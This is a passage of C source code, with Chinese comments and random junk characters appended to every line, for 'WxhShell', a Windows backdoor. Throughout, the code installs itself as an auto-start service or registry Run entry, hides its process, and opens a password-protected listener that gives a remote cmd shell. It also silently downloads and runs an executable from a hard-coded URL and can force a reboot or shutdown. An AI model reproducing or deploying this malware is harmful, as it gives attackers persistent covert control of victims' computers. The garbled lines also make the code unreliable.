    } =^M/{51j  
  // 关机 J,'M4O\S  
  case 'd': { 'j#*6xD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C0T;![/4A  
    if(Boot(SHUTDOWN)) (KjoSN( K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +}Dw3;W}m  
    else { \ 2M_\Q`NY  
    closesocket(wsh); |jGf<Bf5  
    ExitThread(0); V5+=e^pa2  
    } s}vAS~~2L3  
    break; j'Fpjt"&=  
    } <sb~ ^B  
  // 获取shell }bb;~  
  case 's': { {'7B6  
    CmdShell(wsh); - YEZ]:"  
    closesocket(wsh); ha]VWt%}  
    ExitThread(0); ]E5o1eeg  
    break; WlOmJtt4)  
  } |3(' N#|  
  // 退出 i1}:8Unxf  
  case 'x': { G|bT9f$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f z'@_4hg  
    CloseIt(wsh); LBw1g<&  
    break; g];!&R-  
    } p_RsU`[  
  // 离开 Wf+cDpK  
  case 'q': { $0W|26;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g2+2%6m0  
    closesocket(wsh); n1Yp1"2b[  
    WSACleanup(); zO-z%y  
    exit(1); Ouk ^O}W6  
    break; uy>q7C  
        } lU8l}Ndz"  
  } ?g_3 [Fk  
  } ; 5*&xz  
)3cAQ'w  
  // 提示信息 j\eI0b @*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ">\?&0  
} 'g}!  
  } <$D`Z-6  
sA+ }TNhq  
  return; /:cd\A}  
} g@d*\ P)  
]%;:7?5l  
// shell模块句柄 9)l$ aBa  
int CmdShell(SOCKET sock) #|uCgdi  
{ )HEa<P^kJl  
STARTUPINFO si; [:7'?$  
ZeroMemory(&si,sizeof(si)); ^ gdaa>L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )*u8/U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `}p0VmD{NE  
PROCESS_INFORMATION ProcessInfo; /p/]t,-j2  
char cmdline[]="cmd"; mVj9, q0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); * ` JYC  
  return 0; z0 d.J1VW  
} 34f?6K1c  
*I B4[6  
// 自身启动模式 pE`})/?\*  
int StartFromService(void) D, k6$`  
{ f[]dfLS"W  
typedef struct _qF+tm  
{ P9R9(quI  
  DWORD ExitStatus; '6DBs8>1  
  DWORD PebBaseAddress;  {y)=eX9  
  DWORD AffinityMask;  CT&|QH{  
  DWORD BasePriority; b!+hH Hv:  
  ULONG UniqueProcessId; -M\<nx  
  ULONG InheritedFromUniqueProcessId; 4j-Xi  
}   PROCESS_BASIC_INFORMATION; x[cL Bc<  
n'"/KS+_  
PROCNTQSIP NtQueryInformationProcess; zrvF]|1UP  
AzPu)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QFA8N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q-(zwAaE  
~]sc^[  
  HANDLE             hProcess; irZ])a  
  PROCESS_BASIC_INFORMATION pbi; 49eD1h3'X[  
2_>N/Z4T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (|2t#'m  
  if(NULL == hInst ) return 0; sWhZby7  
.7J#_* N V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fw_#N6Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gM&{=WDG6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s9 mx  
p#-Z4-`  
  if (!NtQueryInformationProcess) return 0; rm7ANMB:  
[z:!j$K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &0d# Y]D4`  
  if(!hProcess) return 0; b 1c y$I  
#`^}PuQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )+#` CIv  
]U+ LJOb  
  CloseHandle(hProcess); juJklSD  
{FI&^39 F$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e[1hz_v  
if(hProcess==NULL) return 0; hDDn,uzpd  
dRYqr}!%n  
HMODULE hMod; Zpt\p7WQ  
char procName[255]; *VCXihgo  
unsigned long cbNeeded; $t+,Tav  
hW<%R]^|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |]bsCmD  
/PVk{3  
  CloseHandle(hProcess); i$Ul(?  
8\^R~K`sY  
if(strstr(procName,"services")) return 1; // 以服务启动 Xg6Jh``  
JtE M,tK  
  return 0; // 注册表启动 G/E+L-N#`  
} KYm0@O>;  
&C_j\7Dq  
// 主模块  $c!p&  
int StartWxhshell(LPSTR lpCmdLine) A`%k:@  
{ U gat1Pz  
  SOCKET wsl; g&L!1<, p  
BOOL val=TRUE; rI{; IDV  
  int port=0; Z-%\ <zT  
  struct sockaddr_in door; ic:zsuEm  
G[PtkPSJ  
  if(wscfg.ws_autoins) Install(); #\{l"-  
E_rI?t^  
port=atoi(lpCmdLine); Fe*R  
vO^m;['  
if(port<=0) port=wscfg.ws_port; )_90UwWpj  
zpn9,,~u  
  WSADATA data; , >a&"V^k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WCZjXDiwJ  
:U|1xgB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )rU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e+7"/icK  
  door.sin_family = AF_INET; (TtkFo'!U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NWESP U):w  
  door.sin_port = htons(port); /8'NG6"H`  
K8|r&`X0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q>_.[+6  
closesocket(wsl); XSB"{H>&  
return 1; 6_o*y8s.  
} 5vQHhwO50k  
s[>,X#7 y  
  if(listen(wsl,2) == INVALID_SOCKET) { mthA4sz  
closesocket(wsl); n&4N[Qlv,  
return 1; CZwXTHe  
} XX TL..  
  Wxhshell(wsl); K!%+0)A  
  WSACleanup(); UW={[h{.|@  
@D[_}JE  
return 0; Y1\}5k{>  
&&8x%Pml  
} !qQl@j O  
eS^7A}*wd-  
// 以NT服务方式启动 |*xA 8&/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L<cx:Vz  
{ k9R4Y\8P  
DWORD   status = 0; yWc$>ne[L  
  DWORD   specificError = 0xfffffff; tKuwpT1Qc  
"S]0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9<?M8_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oSKXt}sh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x j)F55e?  
  serviceStatus.dwWin32ExitCode     = 0; F{e@W([  
  serviceStatus.dwServiceSpecificExitCode = 0; (S5R!lpO  
  serviceStatus.dwCheckPoint       = 0; }"H,h)T  
  serviceStatus.dwWaitHint       = 0; R%WCH?B<}  
r|8d 4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B"w?;EeV.  
  if (hServiceStatusHandle==0) return; 3ZPWze6  
jRlYU`?  
status = GetLastError(); 7aRi5  
  if (status!=NO_ERROR) p`dU2gV  
{ ,8uqdk-D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lg+Ac5y}`  
    serviceStatus.dwCheckPoint       = 0; +)om^e@.  
    serviceStatus.dwWaitHint       = 0;  qA7>vi%  
    serviceStatus.dwWin32ExitCode     = status; k"%~"9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2zA4vZkbcw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :pY/-Cgv  
    return; fw~Bza\e  
  } (,\+tr8r8  
`?rSlR@+[I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U}[d_f  
  serviceStatus.dwCheckPoint       = 0; NNR`!Pty  
  serviceStatus.dwWaitHint       = 0; qr^3R&z!}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZQsJL\x[UK  
} 1=c\Rr9]  
ZU4nc3__  
// 处理NT服务事件,比如:启动、停止 ,-c6dS   
VOID WINAPI NTServiceHandler(DWORD fdwControl) OZF rtc+  
{ M)+H{5bt  
switch(fdwControl) f*% D$Mqg  
{ SM#]H-3  
case SERVICE_CONTROL_STOP: i>A s;*  
  serviceStatus.dwWin32ExitCode = 0; I*{ nP)^9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T*Exs|N2P-  
  serviceStatus.dwCheckPoint   = 0; LmrfN?5  
  serviceStatus.dwWaitHint     = 0; myQagqRx  
  { ~H_/zK6e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nNV'O(x}  
  } dq6m>;`  
  return; _/$Bpr{R  
case SERVICE_CONTROL_PAUSE: (N6i4 g6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k Z .gO  
  break; }'V5/>m[  
case SERVICE_CONTROL_CONTINUE: [PM 2\#K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (Z q/  
  break; jD]~ AwRJ  
case SERVICE_CONTROL_INTERROGATE: 6I4\q.^qw  
  break; ]@c+]{  
}; ^ogt+6c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GW@;}m(  
} YUD`!C  
BO ;tCEV?  
// 标准应用程序主函数 D,*3w'X!K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rQs)O<jl  
{ -HbC!w v  
[A~xy'T  
// 获取操作系统版本 ]NY~2jmX  
OsIsNt=GetOsVer(); .t-4o<7 3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BLdvyVFx  
ItVWO:x&v  
  // 从命令行安装 %6,SKg p  
  if(strpbrk(lpCmdLine,"iI")) Install(); +F` S>U  
#e1>H1eU  
  // 下载执行文件 z&)A,ryW0  
if(wscfg.ws_downexe) { OA1uY83"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zpZm&WC  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oh`69 k  
} %QGC8Tz  
]L $\ #  
if(!OsIsNt) { 3?9IJ5p  
// 如果时win9x,隐藏进程并且设置为注册表启动 YeL#jtC  
HideProc(); K~{$oD7!  
StartWxhshell(lpCmdLine); o3^l~iT  
} `/XY>T}-  
else :yr+vcD?  
  if(StartFromService()) e0zq1XcZ  
  // 以服务方式启动 wLH>:yKUU  
  StartServiceCtrlDispatcher(DispatchTable); ~O0 $Suv  
else y/{fX(aV  
  // 普通方式启动 cWaSn7p!X  
  StartWxhshell(lpCmdLine); I\{ 1u  
XGWSdPJLr  
return 0; 9'giU r  
} W=><)miQ@  
@7]yl&LZ  
4<Utmr  
w^|*m/h|@u  
=========================================== VcO0sa f`  
61>.vT8P  
)e+>w=t  
^z IW+:  
R6.hA_ih  
[)M%cyQ  
" b\kdKVh&  
D6Ui!  
#include <stdio.h> f!uwzHA`?  
#include <string.h> TH&U j1  
#include <windows.h> _Xc8Yg }`  
#include <winsock2.h> :Zbg9`d*  
#include <winsvc.h> jh%Eq+#S  
#include <urlmon.h> x(6SG+Kr  
Smn;(K  
#pragma comment (lib, "Ws2_32.lib") .m,_N@,  
#pragma comment (lib, "urlmon.lib") nbD*x|  
3vN_p$  
#define MAX_USER   100 // 最大客户端连接数 ^R7lom.  
#define BUF_SOCK   200 // sock buffer rdP[<Y9  
#define KEY_BUFF   255 // 输入 buffer 4{U T!WIi  
?%-DfCS  
#define REBOOT     0   // 重启 Eqd<MY7  
#define SHUTDOWN   1   // 关机 ThajHK|U  
dO<ERY  
#define DEF_PORT   5000 // 监听端口 q460iL7yF}  
EzM ?Nft  
#define REG_LEN     16   // 注册表键长度 N=5a54!/  
#define SVC_LEN     80   // NT服务名长度 w !-gJmX>  
O|{d[eX  
// 从dll定义API F3@phu${  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {OkV%Q<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N1}sHyVq7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u<tbbKM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yy^q2P  
'4+ ur`  
// wxhshell配置信息 {9&;Q|D z  
struct WSCFG { !Y0Vid  
  int ws_port;         // 监听端口 D rUO-  
  char ws_passstr[REG_LEN]; // 口令 i(%W_d!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2^[ `eg  
  char ws_regname[REG_LEN]; // 注册表键名 TOB-aAO  
  char ws_svcname[REG_LEN]; // 服务名 WYm\)@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nLZTK&7}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UT~4x|b:O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [I,Z2G,Jb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eCDev}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D&&9^t9S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .Ni\\  
S"bg9o  
}; NdA[C|_8}f  
~F|+o}a `  
// default Wxhshell configuration y1eW pPJa  
struct WSCFG wscfg={DEF_PORT, ~*&H$6NJS  
    "xuhuanlingzhe", NqazpB*  
    1, w7.V6S$Ga  
    "Wxhshell", +K:Dx!9  
    "Wxhshell", D09Sg%w  
            "WxhShell Service", EPI4!3]  
    "Wrsky Windows CmdShell Service", RNEp4x  
    "Please Input Your Password: ", !21FR*  
  1, ,GbR!j@6  
  "http://www.wrsky.com/wxhshell.exe", UJAv`yjG  
  "Wxhshell.exe" 1y@i}<9F  
    }; ;40/yl3r3[  
Fx_z6a  
// 消息定义模块 r"3=44St  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^B.5GK)!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p?%y82E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m{Wu" ;e  
char *msg_ws_ext="\n\rExit."; Y1W1=Uc uk  
char *msg_ws_end="\n\rQuit."; urs,34h  
char *msg_ws_boot="\n\rReboot..."; .LnGL]/  
char *msg_ws_poff="\n\rShutdown..."; q.^;!f1  
char *msg_ws_down="\n\rSave to "; ;s= l52  
J@HtoTDO3  
char *msg_ws_err="\n\rErr!"; Q2w_X8  
char *msg_ws_ok="\n\rOK!"; -n~1C {<  
5,lEx1{_  
char ExeFile[MAX_PATH]; WtsFz*`)y  
int nUser = 0; ?|\ER#z  
HANDLE handles[MAX_USER]; [\98$BN  
int OsIsNt; E!)xj.aS$  
(&Kk7<#`  
SERVICE_STATUS       serviceStatus; 5FPM`hLT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B?gOHG*vd>  
$Ps|HN  
// 函数声明 Af~$TyX  
int Install(void); -e"H ^:  
int Uninstall(void); 6xx<Y2@  
int DownloadFile(char *sURL, SOCKET wsh); ~~/|dh5  
int Boot(int flag); 9IdA%RM~mH  
void HideProc(void); Gi|w}j_  
int GetOsVer(void); Wq D4YGN  
int Wxhshell(SOCKET wsl); HTv2#  
void TalkWithClient(void *cs); vFzRg5lH  
int CmdShell(SOCKET sock); ^qvZXb  
int StartFromService(void); 7dTkp!'X-  
int StartWxhshell(LPSTR lpCmdLine); Fbr;{T .  
8+Lm's=W*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~f&E7su-6+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); + /4A  
V# }!-Xj  
// 数据结构和表定义 }1L4 "}L.  
SERVICE_TABLE_ENTRY DispatchTable[] = )Yh+c=6 ?  
{ 38Mv25N  
{wscfg.ws_svcname, NTServiceMain}, x}wG:K  
{NULL, NULL} @muRxi  
}; ehGLk7@7&  
HYD'.uj  
// 自我安装 htO +z7  
int Install(void) Y!aSs3c  
{ kUL' 1!j7  
  char svExeFile[MAX_PATH]; RtkEGxw*^  
  HKEY key; /Y:sLGQLD  
  strcpy(svExeFile,ExeFile); zJKv'>?  
/Iu 1L#  
// 如果是win9x系统,修改注册表设为自启动 P[G)sA_"  
if(!OsIsNt) { kf\PioD8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q<x/Hat)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g>E LGG |Q  
  RegCloseKey(key); TM__I\+Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n$A9_cHF7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); imhwY#D  
  RegCloseKey(key); M!siK2  
  return 0; 58}U^IW  
    } 6IN e@  
  } hIYNhZv  
} y1jCg%'H  
else { )W,aN)1)  
Z\bmW%av  
// 如果是NT以上系统,安装为系统服务 <yV"6/l 0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,i ^9 |Oeq  
if (schSCManager!=0) k$^UUo6  
{ V@.Ior}w  
  SC_HANDLE schService = CreateService ih-#5M@  
  ( gMi0FO'  
  schSCManager, //up5R_nx  
  wscfg.ws_svcname, kYE9M8s;  
  wscfg.ws_svcdisp, >4x(e\B  
  SERVICE_ALL_ACCESS, p%up)]?0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pa>AWOG'  
  SERVICE_AUTO_START, \i>?q   
  SERVICE_ERROR_NORMAL, Fk&c=V;SU  
  svExeFile, \Gef \   
  NULL, /* (Kr'c  
  NULL, 5ORo3T%  
  NULL, h ]5(].  
  NULL, &~cBNw|  
  NULL xWH.^o,"  
  ); ?.m bK  
  if (schService!=0) >F|>cc>_E  
  { 6$hQ35  
  CloseServiceHandle(schService); M5 LfRBO  
  CloseServiceHandle(schSCManager); :^lI`9'*R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LRxZcxmy  
  strcat(svExeFile,wscfg.ws_svcname); MVpGWTH@F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~p6 V,Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EgEa1l!NSQ  
  RegCloseKey(key); dM.f]-g  
  return 0; (' (K9@}  
    } GhAlx/K  
  } ]6,\r"  
  CloseServiceHandle(schSCManager); O0x,lq  
} mX"oW_EK  
} 4!{KWL`A  
RXMISt3+{y  
return 1; /aCc17>2V{  
} 8L=HW G!1  
YR\faVk  
// 自我卸载 l K{hVqpt  
int Uninstall(void) olB.*#gA  
{ o+iiST JEe  
  HKEY key; 7DogM".}~Q  
5+4IN5o]=  
if(!OsIsNt) { %@J.{@>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pjf"CW+A  
  RegDeleteValue(key,wscfg.ws_regname); wq`s-qZu  
  RegCloseKey(key); }^WdJd]P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RF$eQzW  
  RegDeleteValue(key,wscfg.ws_regname); d UE,U=  
  RegCloseKey(key); 3Y4?CM&0v  
  return 0; =`oCLsz=  
  } )b L'[h  
} 0@0w+&*"@  
} 4&lv6`G `  
else { D(op)]8  
GRIti9GD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [T4J{y64Y  
if (schSCManager!=0) )2KF}{  
{ S&5&];Ag  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H\"sgoJ  
  if (schService!=0) Wx%H%FeK  
  { kOrZv,qFG[  
  if(DeleteService(schService)!=0) { S/hQZHZHg,  
  CloseServiceHandle(schService); {GT*ZU*  
  CloseServiceHandle(schSCManager); lWk>z; d  
  return 0; \##zR_%  
  } BN5[,J  
  CloseServiceHandle(schService); %bn jgy  
  } h|9L5  
  CloseServiceHandle(schSCManager);  R Z?jJm$  
} \[i1JG  
}  `,*3[  
CT <7mi!  
return 1; 8}x:`vDK  
} tmYz R%i  
y3Qsv  
// 从指定url下载文件 ha<[b ue  
int DownloadFile(char *sURL, SOCKET wsh) #powub  
{ z]y.W`i   
  HRESULT hr; ~8Fk(E_  
char seps[]= "/"; ;\dBfP  
char *token; Z9ZPr?C=  
char *file; \A#41  
char myURL[MAX_PATH]; Igt#V;kK"2  
char myFILE[MAX_PATH]; LKB$,pR~1l  
\;,+   
strcpy(myURL,sURL); cGzPI +F  
  token=strtok(myURL,seps); OX0%C.K)hZ  
  while(token!=NULL) i v38p%Zm  
  { :uS\3toj  
    file=token; :gibfk]C  
  token=strtok(NULL,seps); /)>3Nq4Zx  
  } Ms#M+[a  
"Qc7dRmSxm  
GetCurrentDirectory(MAX_PATH,myFILE); 1~_{$5[X?  
strcat(myFILE, "\\"); [ -K&R  
strcat(myFILE, file); ^ig' bw+WS  
  send(wsh,myFILE,strlen(myFILE),0); h 0Q5-EA  
send(wsh,"...",3,0); 9d659i C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^98~U\ar  
  if(hr==S_OK) Tn e4  
return 0; qOtgve`jX  
else :6 R\OeH+  
return 1; `wEb<H  
>z>!Luw  
} '3fu  
s?}e^/"v  
// 系统电源模块 :J@ gmY:C  
int Boot(int flag) + .[ <%  
{ ,/I.t DH  
  HANDLE hToken; prF%.(G2)  
  TOKEN_PRIVILEGES tkp; =z69e%.  
` p-cSxR_  
  if(OsIsNt) { %)W2H^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &)ChQZA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Do7Tj  
    tkp.PrivilegeCount = 1; Cctu|^V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D_*WYV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {rw|#Z>A  
if(flag==REBOOT) { &%DY\*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;bib/  
  return 0; 8qTys8  
} dn+KH+v  
else { s};{ZAtE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?Ep [M:,q  
  return 0; K=k"a  
} n M*%o-  
  } }2.`N%[  
  else { WX?IYQ+  
if(flag==REBOOT) { k$R-#f;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KwSqKI7]0  
  return 0; HCs?iJ  
} $a"Oc   
else { a~}OZ&PG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1};Stai'  
  return 0; 9}<ile7^  
} <0&*9ZeD  
}  "Og7rl  
Fj3a.'  
return 1; q ^N7 I@Y  
} | rtD.,m   
!ons]^km  
// win9x进程隐藏模块 MaQqs=  
void HideProc(void) 9vc2VB$  
{ }@q`%uzi  
FbFPJ !fb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 37.S\ gO]  
  if ( hKernel != NULL ) K;H&n1  
  { f+)L#>Gl?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C1n>M}b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H3=qe I  
    FreeLibrary(hKernel); s)D;a-F  
  } C XMLt  
F/kWHVHU[  
return; g@!V3V  
} plstZ,#j  
/{n-Y/j p  
// 获取操作系统版本 KBc1{adDx@  
int GetOsVer(void) )g%d:xI  
{ `e&Suyf4B  
  OSVERSIONINFO winfo; G}raA%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z0", !6nS  
  GetVersionEx(&winfo); sBg.u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KU(&%|;g  
  return 1; S g![Lsj  
  else .g<DD)`  
  return 0; z,p~z*4  
} 0pd'93C  
16(QR-  
// 客户端句柄模块 AH7}/Rc  
int Wxhshell(SOCKET wsl) wc4{)qDE  
{ By4<2u38u  
  SOCKET wsh; '-XXo=>0MV  
  struct sockaddr_in client; Ioa$51&  
  DWORD myID; jLm ;ty2;  
.[OUI  
  while(nUser<MAX_USER) MKi0jwJM  
{ bJTBjS-7  
  int nSize=sizeof(client); iz PDd{[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z$. 88 ^  
  if(wsh==INVALID_SOCKET) return 1; K Z91-  
n 0L^e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /7F:T[  
if(handles[nUser]==0) _Q4)X)F  
  closesocket(wsh); dcN22A3  
else %l[( Iw  
  nUser++; E]-/Zbvdv  
  } >} i  E(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &B1WtW  
bK&+5t&  
  return 0; GGs}i1m  
} f r6 fj  
{hrX'2:ClT  
// 关闭 socket 33B]RGq  
void CloseIt(SOCKET wsh) {cVEmvE8  
{ 4!no~ $b  
closesocket(wsh); Q/0Tj]D  
nUser--; 7;wd(8  
ExitThread(0); . 3T3E X|G  
} ( ^Nz9{  
5<Nx^D  
// 客户端请求句柄 +',S]Edx  
void TalkWithClient(void *cs) +#@I~u _}D  
{ W.KDVE$}f  
K1yzD6[eW  
  SOCKET wsh=(SOCKET)cs; /@TF5]Ri  
  char pwd[SVC_LEN]; je=a/Y=%U{  
  char cmd[KEY_BUFF]; 'I6i ,+D/q  
char chr[1]; M%P:n/j  
int i,j; )1`0PJoHE  
w_K1]<Q*  
  while (nUser < MAX_USER) { .p" xVfi6  
<6 Uf.u`  
if(wscfg.ws_passstr) { \"OG6G_>$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Btn]}8K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \\;jw[P0  
  //ZeroMemory(pwd,KEY_BUFF); I:1C8*/  
      i=0; ` 7V]y -  
  while(i<SVC_LEN) { 56kI 5:  
[5Mr@f4I  
  // 设置超时 ~U&AI1t+J  
  fd_set FdRead; [?N~s:}  
  struct timeval TimeOut; Cj lk  
  FD_ZERO(&FdRead); ar+9\  
  FD_SET(wsh,&FdRead); x7<K<k;s  
  TimeOut.tv_sec=8; .Rs^YZF  
  TimeOut.tv_usec=0; H8}oIA"b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Qt{jI !  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $}<e|3_  
k>si5'W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mGg+.PFsM  
  pwd=chr[0]; i5@ z< \  
  if(chr[0]==0xd || chr[0]==0xa) { #BH*Z(  
  pwd=0; Yufc{M00  
  break; a~y'RyA  
  } Y\g3h M  
  i++; \bvfEP  
    } |[b{)s?x  
5vnrA'BhBU  
  // 如果是非法用户,关闭 socket 0*{%=M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R%[ c;i  
} P.9>z7l{  
(V2fRv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ml }{|Yz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A_q3KB!$=+  
U9MxI%tb  
while(1) { ((M>s&\y*Y  
AFE~ v\Gz  
  ZeroMemory(cmd,KEY_BUFF); 0{-q#/  
NyNXP_8  
      // 自动支持客户端 telnet标准   ' %o#q6O  
  j=0; :& ."ttf=  
  while(j<KEY_BUFF) { 8[{ Vu0R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @GW #&\yM  
  cmd[j]=chr[0]; OYn}5RN  
  if(chr[0]==0xa || chr[0]==0xd) { !'*-$e  
  cmd[j]=0; )bscBj@  
  break; J<jy2@"tXo  
  } smo~7;  
  j++; h>m"GpF x  
    } ge8ZsaiU  
{;6`_-As%  
  // 下载文件 PB\x3pV!}  
  if(strstr(cmd,"http://")) { d>qY{Fdz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &&>ekG 9@  
  if(DownloadFile(cmd,wsh)) 49HZ2`Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;>7De8v@@  
  else {F.[&/A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E+;7>ja  
